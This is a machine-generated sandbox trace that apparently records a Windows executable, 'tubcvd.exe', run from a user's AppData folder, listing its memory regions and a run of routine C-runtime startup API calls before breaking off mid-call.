region_type = private name = "private_0x000000000e080000" filename = "" Region: id = 15417 start_va = 0xe090000 end_va = 0xe090fff entry_point = 0x0 region_type = private name = "private_0x000000000e090000" filename = "" Region: id = 15418 start_va = 0xe0a0000 end_va = 0xe0a0fff entry_point = 0x0 region_type = private name = "private_0x000000000e0a0000" filename = "" Region: id = 15419 start_va = 0xe0b0000 end_va = 0xe0b0fff entry_point = 0x0 region_type = private name = "private_0x000000000e0b0000" filename = "" Region: id = 15420 start_va = 0xe0c0000 end_va = 0xe0c0fff entry_point = 0x0 region_type = private name = "private_0x000000000e0c0000" filename = "" Region: id = 15421 start_va = 0xe0d0000 end_va = 0xe0d0fff entry_point = 0x0 region_type = private name = "private_0x000000000e0d0000" filename = "" Region: id = 15422 start_va = 0xe0e0000 end_va = 0xe0e0fff entry_point = 0x0 region_type = private name = "private_0x000000000e0e0000" filename = "" Region: id = 15423 start_va = 0xe0f0000 end_va = 0xe0f0fff entry_point = 0x0 region_type = private name = "private_0x000000000e0f0000" filename = "" Region: id = 15424 start_va = 0xe100000 end_va = 0xe100fff entry_point = 0x0 region_type = private name = "private_0x000000000e100000" filename = "" Region: id = 15425 start_va = 0xe110000 end_va = 0xe210fff entry_point = 0x0 region_type = private name = "private_0x000000000e110000" filename = "" Region: id = 15426 start_va = 0xe220000 end_va = 0xe22cfff entry_point = 0x0 region_type = private name = "private_0x000000000e220000" filename = "" Region: id = 15427 start_va = 0xe0f0000 end_va = 0xe0f0fff entry_point = 0x0 region_type = private name = "private_0x000000000e0f0000" filename = "" Region: id = 15428 start_va = 0xe100000 end_va = 0xe100fff entry_point = 0x0 region_type = private name = "private_0x000000000e100000" filename = "" Region: id = 15429 start_va = 0xe110000 end_va = 0xe210fff entry_point = 0x0 region_type = private name = "private_0x000000000e110000" filename = "" Region: id = 15430 start_va = 0xe220000 end_va = 0xe220fff entry_point = 0x0 region_type = private name = "private_0x000000000e220000" filename = "" Region: id = 15431 start_va = 0xe0f0000 end_va = 0xe0f0fff entry_point = 0x0 region_type = private name = "private_0x000000000e0f0000" filename = "" Region: id = 15432 start_va = 0xe100000 end_va = 0xe100fff entry_point = 0x0 region_type = private name = "private_0x000000000e100000" filename = "" Region: id = 15433 start_va = 0xe110000 end_va = 0xe210fff entry_point = 0x0 region_type = private name = "private_0x000000000e110000" filename = "" Region: id = 15434 start_va = 0xe220000 end_va = 0xe220fff entry_point = 0x0 region_type = private name = "private_0x000000000e220000" filename = "" Region: id = 15435 start_va = 0xe0f0000 end_va = 0xe0f0fff entry_point = 0x0 region_type = private name = "private_0x000000000e0f0000" filename = "" Region: id = 15436 start_va = 0xe100000 end_va = 0xe100fff entry_point = 0x0 region_type = private name = "private_0x000000000e100000" filename = "" Region: id = 15437 start_va = 0xe110000 end_va = 0xe210fff entry_point = 0x0 region_type = private name = "private_0x000000000e110000" filename = "" Region: id = 15438 start_va = 0xe220000 end_va = 0xe220fff entry_point = 0x0 region_type = private name = "private_0x000000000e220000" filename = "" Region: id = 15439 start_va = 0xe0f0000 end_va = 0xe0f0fff entry_point = 0x0 region_type = private name = "private_0x000000000e0f0000" filename = "" Region: id = 15440 start_va = 0xe100000 end_va = 0xe100fff entry_point = 0x0 region_type = private name = "private_0x000000000e100000" filename = "" Region: id = 15441 start_va = 0xe110000 end_va = 0xe210fff entry_point = 0x0 region_type = private name = "private_0x000000000e110000" filename = "" Region: id = 15442 start_va = 0xe220000 end_va = 0xe220fff entry_point = 0x0 region_type = private name = "private_0x000000000e220000" filename = "" Region: id = 15443 start_va = 0xe230000 end_va = 0xe230fff entry_point = 0x0 region_type = private name = "private_0x000000000e230000" filename = "" Region: id = 15444 start_va = 0xe0e0000 end_va = 0xe0e0fff entry_point = 0x0 region_type = private name = "private_0x000000000e0e0000" filename = "" Region: id = 15445 start_va = 0xe0f0000 end_va = 0xe0f0fff entry_point = 0x0 region_type = private name = "private_0x000000000e0f0000" filename = "" Region: id = 15446 start_va = 0xe100000 end_va = 0xe100fff entry_point = 0x0 region_type = private name = "private_0x000000000e100000" filename = "" Region: id = 15447 start_va = 0xe110000 end_va = 0xe210fff entry_point = 0x0 region_type = private name = "private_0x000000000e110000" filename = "" Region: id = 15448 start_va = 0xe220000 end_va = 0xe232fff entry_point = 0x0 region_type = private name = "private_0x000000000e220000" filename = "" Region: id = 15449 start_va = 0xe0f0000 end_va = 0xe0f0fff entry_point = 0x0 region_type = private name = "private_0x000000000e0f0000" filename = "" Region: id = 15450 start_va = 0xe100000 end_va = 0xe100fff entry_point = 0x0 region_type = private name = "private_0x000000000e100000" filename = "" Region: id = 15451 start_va = 0xe110000 end_va = 0xe110fff entry_point = 0x0 region_type = private name = "private_0x000000000e110000" filename = "" Region: id = 15452 start_va = 0xe120000 end_va = 0xe120fff entry_point = 0x0 region_type = private name = "private_0x000000000e120000" filename = "" Region: id = 15453 start_va = 0xe130000 end_va = 0xe230fff entry_point = 0x0 region_type = private name = "private_0x000000000e130000" filename = "" Region: id = 15454 start_va = 0xe240000 end_va = 0xe240fff entry_point = 0x0 region_type = private name = "private_0x000000000e240000" filename = "" Region: id = 15455 start_va = 0xe110000 end_va = 0xe110fff entry_point = 0x0 region_type = private name = "private_0x000000000e110000" filename = "" Region: id = 15456 start_va = 0xe120000 end_va = 0xe120fff entry_point = 0x0 region_type = private name = "private_0x000000000e120000" filename = "" Region: id = 15457 start_va = 0xe130000 end_va = 0xe230fff entry_point = 0x0 region_type = private name = "private_0x000000000e130000" filename = "" Region: id = 15458 start_va = 0xe240000 end_va = 0xe24bfff entry_point = 0x0 region_type = private name = "private_0x000000000e240000" filename = "" Region: id = 15459 start_va = 0xe110000 end_va = 0xe110fff entry_point = 0x0 region_type = private name = "private_0x000000000e110000" filename = "" Region: id = 15460 start_va = 0xe120000 end_va = 0xe120fff entry_point = 0x0 region_type = private name = "private_0x000000000e120000" filename = "" Region: id = 15461 start_va = 0xe130000 end_va = 0xe230fff entry_point = 0x0 region_type = private name = "private_0x000000000e130000" filename = "" Region: id = 15462 start_va = 0xe240000 end_va = 0xe240fff entry_point = 0x0 region_type = private name = "private_0x000000000e240000" filename = "" Region: id = 15463 start_va = 0xe110000 end_va = 0xe110fff entry_point = 0x0 region_type = private name = "private_0x000000000e110000" filename = "" Region: id = 15464 start_va = 0xe120000 end_va = 0xe120fff entry_point = 0x0 region_type = private name = "private_0x000000000e120000" filename = "" Region: id = 15465 start_va = 0xe130000 end_va = 0xe230fff entry_point = 0x0 region_type = private name = "private_0x000000000e130000" filename = "" Region: id = 15466 start_va = 0xe240000 end_va = 0xe244fff entry_point = 0x0 region_type = private name = "private_0x000000000e240000" filename = "" Region: id = 15467 start_va = 0x1d0000 end_va = 0x1d4fff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 15468 start_va = 0x1e0000 end_va = 0x1e0fff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 15469 start_va = 0x1e0000 end_va = 0x1e0fff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 15470 start_va = 0x2700000 end_va = 0x2700fff entry_point = 0x0 region_type = private name = "private_0x0000000002700000" filename = "" Region: id = 15471 start_va = 0x2710000 end_va = 0x2710fff entry_point = 0x0 region_type = private name = "private_0x0000000002710000" filename = "" Region: id = 15577 start_va = 0x2760000 end_va = 0x279ffff entry_point = 0x0 region_type = private name = "private_0x0000000002760000" filename = "" Region: id = 15578 start_va = 0xe100000 end_va = 0xe1fffff entry_point = 0x0 region_type = private name = "private_0x000000000e100000" filename = "" Region: id = 15579 start_va = 0x7ffd8000 end_va = 0x7ffdafff entry_point = 0x0 region_type = private name = "private_0x000000007ffd8000" filename = "" Region: id = 15580 start_va = 0x2710000 end_va = 0x2710fff entry_point = 0x0 region_type = private name = "private_0x0000000002710000" filename = "" Region: id = 15581 start_va = 0x2720000 end_va = 0x2722fff entry_point = 0x0 region_type = private name = "private_0x0000000002720000" filename = "" Region: id = 15582 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 15583 start_va = 0x27a0000 end_va = 0x27c0fff entry_point = 0x27a0000 region_type = mapped_file name = "tubcvd.exe" filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\tubcvd.exe") Region: id = 15584 start_va = 0x2730000 end_va = 0x2732fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 15585 start_va = 0x1d0000 end_va = 0x1d0fff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 15586 start_va = 0x75560000 end_va = 0x75649fff entry_point = 0x75560000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 15587 start_va = 0x2700000 end_va = 0x273ffff entry_point = 0x0 region_type = private name = "private_0x0000000002700000" filename = "" Region: id = 15588 start_va = 0xe200000 end_va = 0xe2fffff entry_point = 0x0 region_type = private name = "private_0x000000000e200000" filename = "" Region: id = 15589 start_va = 0x73b80000 end_va = 0x73cc1fff entry_point = 0x73b80000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 15590 start_va = 0x7fead000 end_va = 0x7feaffff entry_point = 0x0 region_type = private name = "private_0x000000007fead000" filename = "" Region: id = 15591 start_va = 0x1e0000 end_va = 0x1e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 15592 start_va = 0x75150000 end_va = 0x751d1fff entry_point = 0x75150000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 15593 start_va = 0x3d0000 end_va = 0x3d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003d0000" filename = "" Region: id = 15594 start_va = 0x27a0000 end_va = 0x27a3fff entry_point = 0x27a0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 15595 start_va = 0x27b0000 end_va = 0x27f2fff entry_point = 0x27b0000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000007.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000007.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000007.db") Region: id = 15596 start_va = 0x2800000 end_va = 0x2803fff entry_point = 0x2800000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 15597 start_va = 0xe300000 end_va = 0xe38afff entry_point = 0xe300000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db") Region: id = 15598 start_va = 0x2810000 end_va = 0x2820fff entry_point = 0x2810000 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\propsys.dll.mui") Region: id = 15599 start_va = 0x2830000 end_va = 0x2833fff entry_point = 0x2830000 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 15600 start_va = 0x2830000 end_va = 0x2830fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002830000" filename = "" Region: id = 15601 start_va = 0x74c50000 end_va = 0x74c85fff entry_point = 0x74c50000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 15602 start_va = 0xe390000 end_va = 0xe3cffff entry_point = 0x0 region_type = private name = "private_0x000000000e390000" filename = "" Region: id = 15603 start_va = 0xe3d0000 end_va = 0xe4cffff entry_point = 0x0 region_type = private name = "private_0x000000000e3d0000" filename = "" Region: id = 15604 start_va = 0x7fea7000 end_va = 0x7fea9fff entry_point = 0x0 region_type = private name = "private_0x000000007fea7000" filename = "" Region: id = 15625 start_va = 0x1d0000 end_va = 0x1d0fff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 15671 start_va = 0xe4d0000 end_va = 0xe50ffff entry_point = 0x0 region_type = private name = "private_0x000000000e4d0000" filename = "" Region: id = 15672 start_va = 0xe510000 end_va = 0xe60ffff entry_point = 0x0 region_type = private name = "private_0x000000000e510000" filename = "" Region: id = 15673 start_va = 0x73970000 end_va = 0x73b76fff entry_point = 0x73970000 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\SysWOW64\\actxprxy.dll" (normalized: "c:\\windows\\syswow64\\actxprxy.dll") Region: id = 15674 start_va = 0x7fea1000 end_va = 0x7fea3fff entry_point = 0x0 region_type = private name = "private_0x000000007fea1000" filename = "" Region: id = 15790 start_va = 0x72ea0000 end_va = 0x73966fff entry_point = 0x72ea0000 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\SysWOW64\\ieframe.dll" (normalized: "c:\\windows\\syswow64\\ieframe.dll") Region: id = 15816 start_va = 0x1d0000 end_va = 0x1d2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 15817 start_va = 0x73ff0000 end_va = 0x73ff9fff entry_point = 0x73ff0000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 15858 start_va = 0x72ba0000 end_va = 0x72bd2fff entry_point = 0x72ba0000 region_type = mapped_file name = "mlang.dll" filename = "\\Windows\\SysWOW64\\mlang.dll" (normalized: "c:\\windows\\syswow64\\mlang.dll") Region: id = 15859 start_va = 0x72b00000 end_va = 0x72b90fff entry_point = 0x72b00000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 15869 start_va = 0x2840000 end_va = 0x2842fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002840000" filename = "" Region: id = 15870 start_va = 0xe610000 end_va = 0xe64ffff entry_point = 0x0 region_type = private name = "private_0x000000000e610000" filename = "" Region: id = 15871 start_va = 0xe650000 end_va = 0xe74ffff entry_point = 0x0 region_type = private name = "private_0x000000000e650000" filename = "" Region: id = 15872 start_va = 0x71660000 end_va = 0x717edfff entry_point = 0x71660000 region_type = mapped_file name = "windows.ui.immersive.dll" filename = "\\Windows\\SysWOW64\\Windows.UI.Immersive.dll" (normalized: "c:\\windows\\syswow64\\windows.ui.immersive.dll") Region: id = 15873 start_va = 0x717f0000 end_va = 0x718b4fff entry_point = 0x717f0000 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\SysWOW64\\WinTypes.dll" (normalized: "c:\\windows\\syswow64\\wintypes.dll") Region: id = 15874 start_va = 0x718c0000 end_va = 0x7197bfff entry_point = 0x718c0000 region_type = mapped_file name = "twinapi.appcore.dll" filename = "\\Windows\\SysWOW64\\twinapi.appcore.dll" (normalized: "c:\\windows\\syswow64\\twinapi.appcore.dll") Region: id = 15875 start_va = 0x71980000 end_va = 0x722f1fff entry_point = 0x71980000 region_type = mapped_file name = "twinui.dll" filename = "\\Windows\\SysWOW64\\twinui.dll" (normalized: "c:\\windows\\syswow64\\twinui.dll") Region: id = 15876 start_va = 0x7fe9e000 end_va = 0x7fea0fff entry_point = 0x0 region_type = private name = "private_0x000000007fe9e000" filename = "" Region: id = 15877 start_va = 0x71300000 end_va = 0x714affff entry_point = 0x71300000 region_type = mapped_file name = "coreuicomponents.dll" filename = "\\Windows\\SysWOW64\\CoreUIComponents.dll" (normalized: "c:\\windows\\syswow64\\coreuicomponents.dll") Region: id = 15878 start_va = 0x714b0000 end_va = 0x71656fff entry_point = 0x714b0000 region_type = mapped_file name = "twinui.appcore.dll" filename = "\\Windows\\SysWOW64\\twinui.appcore.dll" (normalized: "c:\\windows\\syswow64\\twinui.appcore.dll") Region: id = 15879 start_va = 0x72da0000 end_va = 0x72e20fff entry_point = 0x72da0000 region_type = mapped_file name = "coremessaging.dll" filename = "\\Windows\\SysWOW64\\CoreMessaging.dll" (normalized: "c:\\windows\\syswow64\\coremessaging.dll") Region: id = 16006 start_va = 0x72d90000 end_va = 0x72d9bfff entry_point = 0x72d90000 region_type = mapped_file name = "execmodelproxy.dll" filename = "\\Windows\\SysWOW64\\execmodelproxy.dll" (normalized: "c:\\windows\\syswow64\\execmodelproxy.dll") Region: id = 16011 start_va = 0x72cc0000 end_va = 0x72d8afff entry_point = 0x72cc0000 region_type = mapped_file name = "mrmcorer.dll" filename = "\\Windows\\SysWOW64\\MrmCoreR.dll" (normalized: "c:\\windows\\syswow64\\mrmcorer.dll") Region: id = 16012 start_va = 0x71280000 end_va = 0x712f4fff entry_point = 0x71280000 region_type = mapped_file name = "windows.ui.dll" filename = "\\Windows\\SysWOW64\\Windows.UI.dll" (normalized: "c:\\windows\\syswow64\\windows.ui.dll") Region: id = 16013 start_va = 0x72940000 end_va = 0x7298cfff entry_point = 0x72940000 region_type = mapped_file name = "ninput.dll" filename = "\\Windows\\SysWOW64\\ninput.dll" (normalized: "c:\\windows\\syswow64\\ninput.dll") Region: id = 16014 start_va = 0xe750000 end_va = 0xe779fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000e750000" filename = "" Region: id = 16015 start_va = 0x71220000 end_va = 0x71270fff entry_point = 0x71220000 region_type = mapped_file name = "bcp47langs.dll" filename = "\\Windows\\SysWOW64\\BCP47Langs.dll" (normalized: "c:\\windows\\syswow64\\bcp47langs.dll") Thread: id = 188 os_tid = 0x89c [0155.821] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19ff74 | out: lpSystemTimeAsFileTime=0x19ff74*(dwLowDateTime=0x7af84174, dwHighDateTime=0x1d39672)) [0155.821] GetCurrentProcessId () returned 0xa5c [0155.821] GetCurrentThreadId () returned 0x89c [0155.821] GetTickCount () returned 0x1460c [0155.821] QueryPerformanceCounter (in: lpPerformanceCount=0x19ff6c | out: lpPerformanceCount=0x19ff6c*=294259237) returned 1 [0155.821] GetStartupInfoW (in: lpStartupInfo=0x19ff18 | out: lpStartupInfo=0x19ff18*(cb=0x44, lpReserved="", lpDesktop="", lpTitle="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x19ff7c, hStdOutput=0x19ff7c, hStdError=0x407ca7)) [0155.821] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0155.821] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74780000 [0155.822] GetProcAddress (hModule=0x74780000, lpProcName="FlsAlloc") returned 0x7479a330 [0155.822] GetProcAddress (hModule=0x74780000, lpProcName="FlsGetValue") returned 0x74797580 [0155.822] GetProcAddress (hModule=0x74780000, lpProcName="FlsSetValue") returned 0x74799910 [0155.822] GetProcAddress (hModule=0x74780000, lpProcName="FlsFree") returned 0x7479f400 [0155.822] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74780000 [0155.822] GetCurrentThreadId () returned 0x89c [0155.822] GetStartupInfoW (in: lpStartupInfo=0x19feb4 | out: lpStartupInfo=0x19feb4*(cb=0x44, lpReserved="", lpDesktop="", lpTitle="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x404567, hStdOutput=0x4048a0, hStdError=0x8d05a8)) [0155.822] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0155.822] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0155.822] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0155.822] SetHandleCount (uNumber=0x20) returned 0x20 [0155.823] GetCommandLineA () returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe " [0155.823] GetEnvironmentStringsW () returned 0x5796f0* [0155.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=C:=C:\\Windows\\System32", cchWideChar=1367, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1367 [0155.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=C:=C:\\Windows\\System32", cchWideChar=1367, lpMultiByteStr=0x8d0fd0, cbMultiByte=1367, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=C:=C:\\Windows\\System32", lpUsedDefaultChar=0x0) returned 1367 [0155.823] FreeEnvironmentStringsW (penv=0x5796f0) returned 1 [0155.823] GetLastError () returned 0x36b7 [0155.823] SetLastError (dwErrCode=0x36b7) [0155.823] GetLastError () returned 0x36b7 [0155.823] SetLastError (dwErrCode=0x36b7) [0155.823] GetLastError () returned 0x36b7 [0155.823] SetLastError (dwErrCode=0x36b7) [0155.823] GetACP () returned 0x4e4 [0155.823] GetLastError () returned 0x36b7 [0155.823] SetLastError (dwErrCode=0x36b7) [0155.823] IsValidCodePage (CodePage=0x4e4) returned 1 [0155.823] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19fe7c | out: lpCPInfo=0x19fe7c) returned 1 [0155.823] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19f948 | out: lpCPInfo=0x19f948) returned 1 [0155.823] GetLastError () returned 0x36b7 [0155.823] SetLastError (dwErrCode=0x36b7) [0155.823] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0155.823] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x19f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뭸@Ā") returned 256 [0155.823] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ뭸@Ā", cchSrc=256, lpCharType=0x19f95c | out: lpCharType=0x19f95c) returned 1 [0155.823] GetLastError () returned 0x36b7 [0155.823] SetLastError (dwErrCode=0x36b7) [0155.823] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0155.823] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x19f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0155.823] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0155.823] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x19f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0155.823] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 